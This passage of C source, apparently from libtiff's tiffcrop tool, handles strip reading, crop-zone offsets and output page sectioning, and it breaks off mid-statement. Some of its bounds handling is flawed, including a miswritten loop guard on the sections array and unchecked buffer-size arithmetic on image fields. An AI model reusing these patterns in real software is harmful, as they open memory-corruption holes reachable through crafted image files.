dump->format, "", "Bits per sample %d, Samples per pixel %d, Shift width %d", bps, spp, shift_width); } /* Libtiff seems to assume/require that data for separate planes are * written one complete plane after another and not interleaved in any way. * Multiple scanlines and possibly strips of the same plane must be * written before data for any other plane. */ nstrips = TIFFNumberOfStrips(in); strips_per_sample = nstrips /spp; for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { srcbuffs[s] = NULL; buff = _TIFFmalloc(stripsize); if (!buff) { TIFFError ("readSeparateStripsIntoBuffer", "Unable to allocate strip read buffer for sample %d", s); for (i = 0; i < s; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[s] = buff; } rows_processed = 0; for (j = 0; (j < strips_per_sample) && (result == 1); j++) { for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; strip = (s * strips_per_sample) + j; bytes_read = TIFFReadEncodedStrip (in, strip, buff, stripsize); rows_this_strip = bytes_read / src_rowsize; if (bytes_read < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read strip %lu for sample %d", (unsigned long) strip, s + 1); result = 0; break; } #ifdef DEVELMODE TIFFError("", "Strip %2d, read %5d bytes for %4d scanlines, shift width %d", strip, bytes_read, rows_this_strip, shift_width); #endif } if (rps > rows_this_strip) rps = rows_this_strip; dst = obuf + (dst_rowsize * rows_processed); if ((bps % 8) == 0) { if (combineSeparateSamplesBytes (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } } else { switch (shift_width) { case 1: if (combineSeparateSamples8bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 2: if (combineSeparateSamples16bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 3: if (combineSeparateSamples24bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateSamples32bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; default: TIFFError ("readSeparateStripsIntoBuffer", "Unsupported bit depth: %d", bps); result = 0; break; } } if ((rows_processed + rps) > length) { rows_processed = length; rps = length - rows_processed; } else rows_processed += rps; } /* free any buffers allocated for each plane or scanline and * any temporary buffers */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; if (buff != NULL) _TIFFfree(buff); } return (result); } /* end readSeparateStripsIntoBuffer */ static int get_page_geometry (char *name, struct pagedef *page) { char *ptr; int n; for (ptr = name; *ptr; ptr++) *ptr = (char)tolower((int)*ptr); for (n = 0; n < MAX_PAPERNAMES; n++) { if (strcmp(name, PaperTable[n].name) == 0) { page->width = PaperTable[n].width; page->length = PaperTable[n].length; strncpy (page->name, PaperTable[n].name, 15); page->name[15] = '\0'; return (0); } } return (1); } static void initPageSetup (struct pagedef *page, struct pageseg *pagelist, struct buffinfo seg_buffs[]) { int i; strcpy (page->name, ""); page->mode = PAGE_MODE_NONE; page->res_unit = RESUNIT_NONE; page->hres = 0.0; page->vres = 0.0; page->width = 0.0; page->length = 0.0; page->hmargin = 0.0; page->vmargin = 0.0; page->rows = 0; page->cols = 0; page->orient = ORIENTATION_NONE; for (i = 0; i < MAX_SECTIONS; i++) { pagelist[i].x1 = (uint32)0; pagelist[i].x2 = (uint32)0; pagelist[i].y1 = (uint32)0; pagelist[i].y2 = (uint32)0; pagelist[i].buffsize = (uint32)0; pagelist[i].position = 0; pagelist[i].total = 0; } for (i = 0; i < MAX_OUTBUFFS; i++) { seg_buffs[i].size = 0; seg_buffs[i].buffer = NULL; } } static void initImageData (struct image_data *image) { image->xres = 0.0; image->yres = 0.0; image->width = 0; image->length = 0; image->res_unit = RESUNIT_NONE; image->bps = 0; image->spp = 0; image->planar = 0; image->photometric = 0; image->orientation = 0; image->compression = COMPRESSION_NONE; image->adjustments = 0; } static void initCropMasks (struct crop_mask *cps) { int i; cps->crop_mode = CROP_NONE; cps->res_unit = RESUNIT_NONE; cps->edge_ref = EDGE_TOP; cps->width = 0; cps->length = 0; for (i = 0; i < 4; i++) cps->margins[i] = 0.0; cps->bufftotal = (uint32)0; cps->combined_width = (uint32)0; cps->combined_length = (uint32)0; cps->rotation = (uint16)0; cps->photometric = INVERT_DATA_AND_TAG; cps->mirror = (uint16)0; cps->invert = (uint16)0; cps->zones = (uint32)0; cps->regions = (uint32)0; for (i = 0; i < MAX_REGIONS; i++) { cps->corners[i].X1 = 0.0; cps->corners[i].X2 = 0.0; cps->corners[i].Y1 = 0.0; cps->corners[i].Y2 = 0.0; cps->regionlist[i].x1 = 0; cps->regionlist[i].x2 = 0; cps->regionlist[i].y1 = 0; cps->regionlist[i].y2 = 0; cps->regionlist[i].width = 0; cps->regionlist[i].length = 0; cps->regionlist[i].buffsize = 0; cps->regionlist[i].buffptr = NULL; cps->zonelist[i].position = 0; cps->zonelist[i].total = 0; } cps->exp_mode = ONE_FILE_COMPOSITE; cps->img_mode = COMPOSITE_IMAGES; } static void initDumpOptions(struct dump_opts *dump) { dump->debug = 0; dump->format = DUMP_NONE; dump->level = 1; sprintf (dump->mode, "w"); memset (dump->infilename, '\0', PATH_MAX + 1); memset (dump->outfilename, '\0',PATH_MAX + 1); dump->infile = NULL; dump->outfile = NULL; } /* Compute pixel offsets into the image for margins and fixed regions */ static int computeInputPixelOffsets(struct crop_mask *crop, struct image_data *image, struct offset *off) { double scale; float xres, yres; /* Values for these offsets are in pixels from start of image, not bytes, * and are indexed from zero to width - 1 or length - 1 */ uint32 tmargin, bmargin, lmargin, rmargin; uint32 startx, endx; /* offsets of first and last columns to extract */ uint32 starty, endy; /* offsets of first and last row to extract */ uint32 width, length, crop_width, crop_length; uint32 i, max_width, max_length, zwidth, zlength, buffsize; uint32 x1, x2, y1, y2; if (image->res_unit != RESUNIT_INCH && image->res_unit != RESUNIT_CENTIMETER) { xres = 1.0; yres = 1.0; } else { if (((image->xres == 0) || (image->yres == 0)) && (crop->res_unit != RESUNIT_NONE) && ((crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH))) { TIFFError("computeInputPixelOffsets", "Cannot compute margins or fixed size sections without image resolution"); TIFFError("computeInputPixelOffsets", "Specify units in pixels and try again"); return (-1); } xres = image->xres; yres = image->yres; } /* Translate user units to image units */ scale = 1.0; switch (crop->res_unit) { case RESUNIT_CENTIMETER: if (image->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (image->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } if (crop->crop_mode & CROP_REGIONS) { max_width = max_length = 0; for (i = 0; i < crop->regions; i++) { if ((crop->res_unit == RESUNIT_INCH) || (crop->res_unit == RESUNIT_CENTIMETER)) { x1 = (uint32) (crop->corners[i].X1 * scale * xres); x2 = (uint32) (crop->corners[i].X2 * scale * xres); y1 = (uint32) (crop->corners[i].Y1 * scale * yres); y2 = (uint32) (crop->corners[i].Y2 * scale * yres); } else { x1 = (uint32) (crop->corners[i].X1); x2 = (uint32) (crop->corners[i].X2); y1 = (uint32) (crop->corners[i].Y1); y2 = (uint32) (crop->corners[i].Y2); } if (x1 < 1) crop->regionlist[i].x1 = 0; else crop->regionlist[i].x1 = (uint32) (x1 - 1); if (x2 > image->width - 1) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = (uint32) (x2 - 1); zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; if (y1 < 1) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = (uint32) (y1 - 1); if (y2 > image->length - 1) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = (uint32) (y2 - 1); zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; if (zwidth > max_width) max_width = zwidth; if (zlength > max_length) max_length = zlength; buffsize = (uint32) (((zwidth * image->bps * image->spp + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (crop->img_mode == COMPOSITE_IMAGES) { switch (crop->edge_ref) { case EDGE_LEFT: case EDGE_RIGHT: crop->combined_length = zlength; crop->combined_width += zwidth; break; case EDGE_BOTTOM: case EDGE_TOP: /* width from left, length from top */ default: crop->combined_width = zwidth; crop->combined_length += zlength; break; } } } return (0); } /* Convert crop margins into offsets into image * Margins are expressed as pixel rows and columns, not bytes */ if (crop->crop_mode & CROP_MARGINS) { if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { /* User has specified pixels as reference unit */ tmargin = (uint32)(crop->margins[0]); lmargin = (uint32)(crop->margins[1]); bmargin = (uint32)(crop->margins[2]); rmargin = (uint32)(crop->margins[3]); } else { /* inches or centimeters specified */ tmargin = (uint32)(crop->margins[0] * scale * yres); lmargin = (uint32)(crop->margins[1] * scale * xres); bmargin = (uint32)(crop->margins[2] * scale * yres); rmargin = (uint32)(crop->margins[3] * scale * xres); } if ((lmargin + rmargin) > image->width) { TIFFError("computeInputPixelOffsets", "Combined left and right margins exceed image width"); lmargin = (uint32) 0; rmargin = (uint32) 0; return (-1); } if ((tmargin + bmargin) > image->length) { TIFFError("computeInputPixelOffsets", "Combined top and bottom margins exceed image length"); tmargin = (uint32) 0; bmargin = (uint32) 0; return (-1); } } else { /* no margins requested */ tmargin = (uint32) 0; lmargin = (uint32) 0; bmargin = (uint32) 0; rmargin = (uint32) 0; } /* Width, height, and margins are expressed as pixel offsets into image */ if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { if (crop->crop_mode & CROP_WIDTH) width = (uint32)crop->width; else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)crop->length; else length = image->length - tmargin - bmargin; } else { if (crop->crop_mode & CROP_WIDTH) width = (uint32)(crop->width * scale * image->xres); else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)(crop->length * scale * image->yres); else length = image->length - tmargin - bmargin; } off->tmargin = tmargin; off->bmargin = bmargin; off->lmargin = lmargin; off->rmargin = rmargin; /* Calculate regions defined by margins, width, and length. * Coordinates expressed as 0 to imagewidth - 1, imagelength - 1, * since they are used to compute offsets into buffers */ switch (crop->edge_ref) { case EDGE_BOTTOM: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; endy = image->length - bmargin - 1; if ((endy - length) <= tmargin) starty = tmargin; else starty = endy - length + 1; break; case EDGE_RIGHT: endx = image->width - rmargin - 1; if ((endx - width) <= lmargin) startx = lmargin; else startx = endx - width + 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; case EDGE_TOP: /* width from left, length from top */ case EDGE_LEFT: default: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; } off->startx = startx; off->starty = starty; off->endx = endx; off->endy = endy; crop_width = endx - startx + 1; crop_length = endy - starty + 1; if (crop_width <= 0) { TIFFError("computeInputPixelOffsets", "Invalid left/right margins and /or image crop width requested"); return (-1); } if (crop_width > image->width) crop_width = image->width; if (crop_length <= 0) { TIFFError("computeInputPixelOffsets", "Invalid top/bottom margins and /or image crop length requested"); return (-1); } if (crop_length > image->length) crop_length = image->length; off->crop_width = crop_width; off->crop_length = crop_length; return (0); } /* end computeInputPixelOffsets */ /* * Translate crop options into pixel offsets for one or more regions of the image. * Options are applied in this order: margins, specific width and length, zones, * but all are optional. Margins are relative to each edge. Width, length and * zones are relative to the specified reference edge. Zones are expressed as * X:Y where X is the ordinal value in a set of Y equal sized portions. eg. * 2:3 would indicate the middle third of the region qualified by margins and * any explicit width and length specified. Regions are specified by coordinates * of the top left and lower right corners with range 1 to width or height. */ static int getCropOffsets(struct image_data *image, struct crop_mask *crop, struct dump_opts *dump) { struct offset offsets; int i; int32 test; uint32 seg, total, need_buff = 0; uint32 buffsize; uint32 zwidth, zlength; memset(&offsets, '\0', sizeof(struct offset)); crop->bufftotal = 0; crop->combined_width = (uint32)0; crop->combined_length = (uint32)0; crop->selections = 0; /* Compute pixel offsets if margins or fixed width or length specified */ if ((crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH)) { if (computeInputPixelOffsets(crop, image, &offsets)) { TIFFError ("getCropOffsets", "Unable to compute crop margins"); return (-1); } need_buff = TRUE; crop->selections = crop->regions; /* Regions are only calculated from top and left edges with no margins */ if (crop->crop_mode & CROP_REGIONS) return (0); } else { /* cropped area is the full image */ offsets.tmargin = 0; offsets.lmargin = 0; offsets.bmargin = 0; offsets.rmargin = 0; offsets.crop_width = image->width; offsets.crop_length = image->length; offsets.startx = 0; offsets.endx = image->width - 1; offsets.starty = 0; offsets.endy = image->length - 1; need_buff = FALSE; } if (dump->outfile != NULL) { dump_info (dump->outfile, dump->format, "", "Margins: Top: %d Left: %d Bottom: %d Right: %d", offsets.tmargin, offsets.lmargin, offsets.bmargin, offsets.rmargin); dump_info (dump->outfile, dump->format, "", "Crop region within margins: Adjusted Width: %6d Length: %6d", offsets.crop_width, offsets.crop_length); } if (!(crop->crop_mode & CROP_ZONES)) /* no crop zones requested */ { if (need_buff == FALSE) /* No margins or fixed width or length areas */ { crop->selections = 0; crop->combined_width = image->width; crop->combined_length = image->length; return (0); } else { /* Use one region for margins and fixed width or length areas * even though it was not formally declared as a region. */ crop->selections = 1; crop->zones = 1; crop->zonelist[0].total = 1; crop->zonelist[0].position = 1; } } else crop->selections = crop->zones; for (i = 0; i < crop->zones; i++) { seg = crop->zonelist[i].position; total = crop->zonelist[i].total; switch (crop->edge_ref) { case EDGE_LEFT: /* zones from left to right, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * 1.0 * (seg - 1) / total); test = (int32)offsets.startx + (int32)(offsets.crop_width * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_BOTTOM: /* width from left, zones from bottom to top */ zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; test = offsets.endy - (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = test + 1; test = offsets.endy - (offsets.crop_length * 1.0 * (seg - 1) / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; case EDGE_RIGHT: /* zones from right to left, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * (total - seg) * 1.0 / total); test = offsets.startx + (offsets.crop_width * (total - seg + 1) * 1.0 / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_TOP: /* width from left, zones from top to bottom */ default: zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; crop->regionlist[i].y1 = offsets.starty + (uint32)(offsets.crop_length * 1.0 * (seg - 1) / total); test = offsets.starty + (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test - 1; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; } /* end switch statement */ buffsize = (uint32) ((((zwidth * image->bps * image->spp) + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].width = (uint32) zwidth; crop->regionlist[i].length = (uint32) zlength; crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (dump->outfile != NULL) dump_info (dump->outfile, dump->format, "", "Zone %d, width: %4d, length: %4d, x1: %4d x2: %4d y1: %4d y2: %4d", i + 1, (uint32)zwidth, (uint32)zlength, crop->regionlist[i].x1, crop->regionlist[i].x2, crop->regionlist[i].y1, crop->regionlist[i].y2); } return (0); } /* end getCropOffsets */ static int computeOutputPixelOffsets (struct crop_mask *crop, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts* dump) { double scale; double pwidth, plength; /* Output page width and length in user units*/ uint32 iwidth, ilength; /* Input image width and length in pixels*/ uint32 owidth, olength; /* Output image width and length in pixels*/ uint32 orows, ocols; /* rows and cols for output */ uint32 hmargin, vmargin; /* Horizontal and vertical margins */ uint32 x1, x2, y1, y2, line_bytes; /* unsigned int orientation; */ uint32 i, j, k; scale = 1.0; if (page->res_unit == RESUNIT_NONE) page->res_unit = image->res_unit; switch (image->res_unit) { case RESUNIT_CENTIMETER: if (page->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (page->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } /* get width, height, resolutions of input image selection */ if (crop->combined_width > 0) iwidth = crop->combined_width; else iwidth = image->width; if (crop->combined_length > 0) ilength = crop->combined_length; else ilength = image->length; if (page->hres <= 1.0) page->hres = image->xres; if (page->vres <= 1.0) page->vres = image->yres; if ((page->hres < 1.0) || (page->vres < 1.0)) { TIFFError("computeOutputPixelOffsets", "Invalid horizontal or vertical resolution specified or read from input image"); return (1); } /* If no page sizes are being specified, we just use the input image size to * calculate maximum margins that can be taken from image. */ if (page->width <= 0) pwidth = iwidth; else pwidth = page->width; if (page->length <= 0) plength = ilength; else plength = page->length; if (dump->debug) { TIFFError("", "Page size: %s, Vres: %3.2f, Hres: %3.2f, " "Hmargin: %3.2f, Vmargin: %3.2f", page->name, page->vres, page->hres, page->hmargin, page->vmargin); TIFFError("", "Res_unit: %d, Scale: %3.2f, Page width: %3.2f, length: %3.2f", page->res_unit, scale, pwidth, plength); } /* compute margins at specified unit and resolution */ if (page->mode & PAGE_MODE_MARGINS) { if (page->res_unit == RESUNIT_INCH || page->res_unit == RESUNIT_CENTIMETER) { /* inches or centimeters specified */ hmargin = (uint32)(page->hmargin * scale * page->hres * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * page->vres * ((image->bps + 7)/ 8)); } else { /* Otherwise user has specified pixels as reference unit */ hmargin = (uint32)(page->hmargin * scale * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * ((image->bps + 7)/ 8)); } if ((hmargin * 2.0) > (pwidth * page->hres)) { TIFFError("computeOutputPixelOffsets", "Combined left and right margins exceed page width"); hmargin = (uint32) 0; return (-1); } if ((vmargin * 2.0) > (plength * page->vres)) { TIFFError("computeOutputPixelOffsets", "Combined top and bottom margins exceed page length"); vmargin = (uint32) 0; return (-1); } } else { hmargin = 0; vmargin = 0; } if (page->mode & PAGE_MODE_ROWSCOLS ) { /* Maybe someday but not for now */ if (page->mode & PAGE_MODE_MARGINS) TIFFError("computeOutputPixelOffsets", "Output margins cannot be specified with rows and columns"); owidth = TIFFhowmany(iwidth, page->cols); olength = TIFFhowmany(ilength, page->rows); } else { if (page->mode & PAGE_MODE_PAPERSIZE ) { owidth = (uint32)((pwidth * page->hres) - (hmargin * 2)); olength = (uint32)((plength * page->vres) - (vmargin * 2)); } else { owidth = (uint32)(iwidth - (hmargin * 2 * page->hres)); olength = (uint32)(ilength - (vmargin * 2 * page->vres)); } } if (owidth > iwidth) owidth = iwidth; if (olength > ilength) olength = ilength; /* Compute the number of pages required for Portrait or Landscape */ switch (page->orient) { case ORIENTATION_NONE: case ORIENTATION_PORTRAIT: ocols = TIFFhowmany(iwidth, owidth); orows = TIFFhowmany(ilength, olength); /* orientation = ORIENTATION_PORTRAIT; */ break; case ORIENTATION_LANDSCAPE: ocols = TIFFhowmany(iwidth, olength); orows = TIFFhowmany(ilength, owidth); x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ break; case ORIENTATION_AUTO: default: x1 = TIFFhowmany(iwidth, owidth); x2 = TIFFhowmany(ilength, olength); y1 = TIFFhowmany(iwidth, olength); y2 = TIFFhowmany(ilength, owidth); if ( (x1 * x2) < (y1 * y2)) { /* Portrait */ ocols = x1; orows = x2; /* orientation = ORIENTATION_PORTRAIT; */ } else { /* Landscape */ ocols = y1; orows = y2; x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ } } if (ocols < 1) ocols = 1; if (orows < 1) orows = 1; /* If user did not specify rows and cols, set them from calcuation */ if (page->rows < 1) page->rows = orows; if (page->cols < 1) page->cols = ocols; line_bytes = TIFFhowmany8(owidth * image->bps) * image->spp; if ((page->rows * page->cols) > MAX_SECTIONS) { TIFFError("computeOutputPixelOffsets", "Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections"); return (-1); } /* build the list of offsets for each output section */ for (k = 0, i = 0 && k <= MAX_SECTIONS; i < orows; i++) { y1 = (uint32)(olength * i); y2 = (uint32)(olength * (i + 1) - 1); if (y2 >= ilength) y2 = ilength - 1; for (j = 0; j < ocols; j++, k++) { x1 = (uint32)(owidth * j); x2 = (uint32)(owidth * (j + 1) - 1); if (x2 >= iwidth) x2 = iwidth - 1; sections[k].x1 = x1; sections[k].x2 = x2; sections[k].y1 = y1; sections[k].y2 = y2; sections[k].buffsize = line_bytes * olength; sections[k].position = k + 1; sections[k].total = orows * ocols; } } return (0); } /* end computeOutputPixelOffsets */ static int loadImage(TIFF* in, struct image_data *image, struct dump_opts *dump, unsigned char **read_ptr) { uint32 i; float xres = 0.0, yres = 0.0; uint16 nstrips = 0, ntiles = 0, planar = 0; uint16 bps = 0, spp = 0, res_unit = 0; uint16 orientation = 0; uint16 input_compression = 0, input_photometric = 0; uint16 subsampling_horiz, subsampling_vert; uint32 width = 0, length = 0; uint32 stsize = 0, tlsize = 0, buffsize = 0, scanlinesize = 0; uint32 tw = 0, tl = 0; /* Tile width and length */ uint32 tile_rowsize = 0; unsigned char *read_buff = NULL; unsigned char *new_buff = NULL; int readunit = 0; static uint32 prev_readsize = 0; TIFFGetFieldDefaulted(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_SAMPLESPERPIXEL, &spp); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation); if (! TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric)) TIFFError("loadImage","Image lacks Photometric interpreation tag"); if (! TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width)) TIFFError("loadimage","Image lacks image width tag"); if(! TIFFGetField(in, TIFFTAG_IMAGELENGTH, &length)) TIFFError("loadimage","Image lacks image length tag"); TIFFGetFieldDefaulted(in, TIFFTAG_XRESOLUTION, &xres); TIFFGetFieldDefaulted(in, TIFFTAG_YRESOLUTION, &yres); if (!TIFFGetFieldDefaulted(in, TIFFTAG_RESOLUTIONUNIT, &res_unit)) res_unit = RESUNIT_INCH; if (!TIFFGetField(in, TIFFTAG_COMPRESSION, &input_compression)) input_compression = COMPRESSION_NONE; #ifdef DEBUG2 char compressionid[16]; switch (input_compression) { case COMPRESSION_NONE: /* 1 dump mode */ strcpy (compressionid, "None/dump"); break; case COMPRESSION_CCITTRLE: /* 2 CCITT modified Huffman RLE */ strcpy (compressionid, "Huffman RLE"); break; case COMPRESSION_CCITTFAX3: /* 3 CCITT Group 3 fax encoding */ strcpy (compressionid, "Group3 Fax"); break; case COMPRESSION_CCITTFAX4: /* 4 CCITT Group 4 fax encoding */ strcpy (compressionid, "Group4 Fax"); break; case COMPRESSION_LZW: /* 5 Lempel-Ziv & Welch */ strcpy (compressionid, "LZW"); break; case COMPRESSION_OJPEG: /* 6 !6.0 JPEG */ strcpy (compressionid, "Old Jpeg"); break; case COMPRESSION_JPEG: /* 7 %JPEG DCT compression */ strcpy (compressionid, "New Jpeg"); break; case COMPRESSION_NEXT: /* 32766 NeXT 2-bit RLE */ strcpy (compressionid, "Next RLE"); break; case COMPRESSION_CCITTRLEW: /* 32771 #1 w/ word alignment */ strcpy (compressionid, "CITTRLEW"); break; case COMPRESSION_PACKBITS: /* 32773 Macintosh RLE */ strcpy (compressionid, "Mac Packbits"); break; case COMPRESSION_THUNDERSCAN: /* 32809 ThunderScan RLE */ strcpy (compressionid, "Thunderscan"); break; case COMPRESSION_IT8CTPAD: /* 32895 IT8 CT w/padding */ strcpy (compressionid, "IT8 padded"); break; case COMPRESSION_IT8LW: /* 32896 IT8 Linework RLE */ strcpy (compressionid, "IT8 RLE"); break; case COMPRESSION_IT8MP: /* 32897 IT8 Monochrome picture */ strcpy (compressionid, "IT8 mono"); break; case COMPRESSION_IT8BL: /* 32898 IT8 Binary line art */ strcpy (compressionid, "IT8 lineart"); break; case COMPRESSION_PIXARFILM: /* 32908 Pixar companded 10bit LZW */ strcpy (compressionid, "Pixar 10 bit"); break; case COMPRESSION_PIXARLOG: /* 32909 Pixar companded 11bit ZIP */ strcpy (compressionid, "Pixar 11bit"); break; case COMPRESSION_DEFLATE: /* 32946 Deflate compression */ strcpy (compressionid, "Deflate"); break; case COMPRESSION_ADOBE_DEFLATE: /* 8 Deflate compression */ strcpy (compressionid, "Adobe deflate"); break; default: strcpy (compressionid, "None/unknown"); break; } TIFFError("loadImage", "Input compression %s", compressionid); #endif scanlinesize = TIFFScanlineSize(in); image->bps = bps; image->spp = spp; image->planar = planar; image->width = width; image->length = length; image->xres = xres; image->yres = yres; image->res_unit = res_unit; image->compression = input_compression; image->photometric = input_photometric; #ifdef DEBUG2 char photometricid[12]; switch (input_photometric) { case PHOTOMETRIC_MINISWHITE: strcpy (photometricid, "MinIsWhite"); break; case PHOTOMETRIC_MINISBLACK: strcpy (photometricid, "MinIsBlack"); break; case PHOTOMETRIC_RGB: strcpy (photometricid, "RGB"); break; case PHOTOMETRIC_PALETTE: strcpy (photometricid, "Palette"); break; case PHOTOMETRIC_MASK: strcpy (photometricid, "Mask"); break; case PHOTOMETRIC_SEPARATED: strcpy (photometricid, "Separated"); break; case PHOTOMETRIC_YCBCR: strcpy (photometricid, "YCBCR"); break; case PHOTOMETRIC_CIELAB: strcpy (photometricid, "CIELab"); break; case PHOTOMETRIC_ICCLAB: strcpy (photometricid, "ICCLab"); break; case PHOTOMETRIC_ITULAB: strcpy (photometricid, "ITULab"); break; case PHOTOMETRIC_LOGL: strcpy (photometricid, "LogL"); break; case PHOTOMETRIC_LOGLUV: strcpy (photometricid, "LOGLuv"); break; default: strcpy (photometricid, "Unknown"); break; } TIFFError("loadImage", "Input photometric interpretation %s", photometricid); #endif image->orientation = orientation; switch (orientation) { case 0: case ORIENTATION_TOPLEFT: image->adjustments = 0; break; case ORIENTATION_TOPRIGHT: image->adjustments = MIRROR_HORIZ; break; case ORIENTATION_BOTRIGHT: image->adjustments = ROTATECW_180; break; case ORIENTATION_BOTLEFT: image->adjustments = MIRROR_VERT; break; case ORIENTATION_LEFTTOP: image->adjustments = MIRROR_VERT | ROTATECW_90; break; case ORIENTATION_RIGHTTOP: image->adjustments = ROTATECW_90; break; case ORIENTATION_RIGHTBOT: image->adjustments = MIRROR_VERT | ROTATECW_270; break; case ORIENTATION_LEFTBOT: image->adjustments = ROTATECW_270; break; default: image->adjustments = 0; image->orientation = ORIENTATION_TOPLEFT; } if ((bps == 0) || (spp == 0)) { TIFFError("loadImage", "Invalid samples per pixel (%d) or bits per sample (%d)", spp, bps); return (-1); } if (TIFFIsTiled(in)) { readunit = TILE; tlsize = TIFFTileSize(in); ntiles = TIFFNumberOfTiles(in); TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); tile_rowsize = TIFFTileRowSize(in); if (ntiles == 0 || tlsize == 0 || tile_rowsize == 0) { TIFFError("loadImage", "File appears to be tiled, but the number of tiles, tile size, or tile rowsize is zero."); exit(-1); } buffsize = tlsize * 